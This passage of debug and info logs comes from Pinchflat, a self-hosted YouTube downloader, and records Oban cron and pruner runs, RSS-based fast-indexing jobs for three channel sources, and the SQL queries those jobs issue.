{"source":"oban","duration":750,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:24:00.874 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:24:25.301 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:24:55.302 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:25:00.876 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:25:04.281 [info] {"args":{"id":3},"id":511,"meta":{},"system_time":1784859904281214333,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 02:25:04.281 [debug] QUERY OK source="sources" db=0.0ms idle=1214.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:25:04.281 [debug] QUERY OK source="settings" db=0.0ms idle=1007.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:25:04.281 [debug] QUERY OK source="media_profiles" db=0.0ms idle=214.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:25:04.282 [debug] QUERY OK source="settings" db=0.1ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:25:04.282 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 02:25:04.835 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 02:25:04.836 [debug] QUERY OK source="media_items" db=0.3ms idle=554.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 02:25:04.838 [debug] QUERY OK source="media_items" db=1.8ms idle=555.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 02:25:04.839 [debug] QUERY OK source="tasks" db=0.0ms idle=557.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [514, 3, ~U[2026-07-24 02:25:04Z], ~U[2026-07-24 02:25:04Z]] 02:25:04.839 [info] {"args":{"id":3},"id":511,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":558386,"event":"job:stop","queue_time":573410,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 02:25:25.303 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:25:55.304 [info] {"source":"oban","duration":443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:26:00.877 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:26:25.305 [info] {"source":"oban","duration":582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:26:55.307 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:27:00.878 [info] {"source":"oban","duration":194,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:27:25.309 [info] {"source":"oban","duration":545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:27:55.311 [info] {"source":"oban","duration":452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:28:00.879 [info] {"source":"oban","duration":426,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:28:25.312 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:28:55.313 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:29:00.880 [info] {"source":"oban","duration":152,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:29:25.314 [info] {"source":"oban","duration":437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:29:55.315 [info] {"source":"oban","duration":495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:30:00.881 [info] {"source":"oban","duration":142,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:30:25.316 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:30:49.666 [info] {"args":{"id":2},"id":512,"meta":{},"system_time":1784860249666501772,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 02:30:49.666 [info] {"args":{"id":1},"id":513,"meta":{},"system_time":1784860249666539294,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 02:30:49.666 [debug] QUERY OK source="sources" db=0.1ms idle=599.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 02:30:49.666 [debug] QUERY OK source="sources" db=0.0ms idle=599.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 02:30:49.667 [debug] QUERY OK source="settings" db=0.1ms idle=599.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:49.667 [debug] QUERY OK source="settings" db=0.1ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:49.667 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:30:49.667 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:30:49.667 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:49.667 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 02:30:49.667 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:49.667 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 02:30:49.790 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 02:30:49.791 [debug] QUERY OK source="media_items" db=0.3ms idle=123.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 02:30:49.791 [debug] QUERY OK source="media_items" db=0.3ms idle=124.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 02:30:49.792 [debug] QUERY OK source="tasks" db=0.0ms idle=124.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [515, 2, ~U[2026-07-24 02:30:49Z], ~U[2026-07-24 02:30:49Z]] 02:30:49.792 [info] {"args":{"id":2},"id":512,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":126039,"event":"job:stop","queue_time":551388,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 02:30:49.965 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 02:30:49.966 [debug] QUERY OK source="media_items" db=0.1ms idle=173.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 02:30:49.968 [debug] QUERY OK source="media_items" db=2.0ms idle=173.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 02:30:49.968 [debug] QUERY OK source="tasks" db=0.0ms idle=169.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [516, 1, ~U[2026-07-24 02:30:49Z], ~U[2026-07-24 02:30:49Z]] 02:30:49.969 [info] {"args":{"id":1},"id":513,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":302404,"event":"job:stop","queue_time":96636,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 02:30:55.317 [info] {"source":"oban","duration":567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:31:00.882 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:31:25.318 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:31:55.319 [info] {"source":"oban","duration":533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:32:00.883 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:32:25.320 [info] {"source":"oban","duration":473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:32:55.321 [info] {"source":"oban","duration":494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:33:00.884 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:33:25.324 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:33:55.328 [info] {"source":"oban","duration":2611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:34:00.884 [info] {"source":"oban","duration":97,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:34:25.329 [info] {"source":"oban","duration":430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:34:55.330 [info] {"source":"oban","duration":465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:35:00.886 [info] {"source":"oban","duration":188,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:35:04.927 [info] {"args":{"id":3},"id":514,"meta":{},"system_time":1784860504927271436,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 02:35:04.927 [debug] QUERY OK source="sources" db=0.0ms idle=1860.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:35:04.927 [debug] QUERY OK source="settings" db=0.0ms idle=1008.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:35:04.927 [debug] QUERY OK source="media_profiles" db=0.0ms idle=861.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:35:04.928 [debug] QUERY OK source="settings" db=0.0ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:35:04.928 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 02:35:05.065 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 02:35:05.066 [debug] QUERY OK source="media_items" db=0.3ms idle=138.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 02:35:05.068 [debug] QUERY OK source="media_items" db=1.7ms idle=139.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 02:35:05.069 [debug] QUERY OK source="tasks" db=0.0ms idle=140.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [517, 3, ~U[2026-07-24 02:35:05Z], ~U[2026-07-24 02:35:05Z]] 02:35:05.069 [info] {"args":{"id":3},"id":514,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":141970,"event":"job:stop","queue_time":87962,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 02:35:25.331 [info] 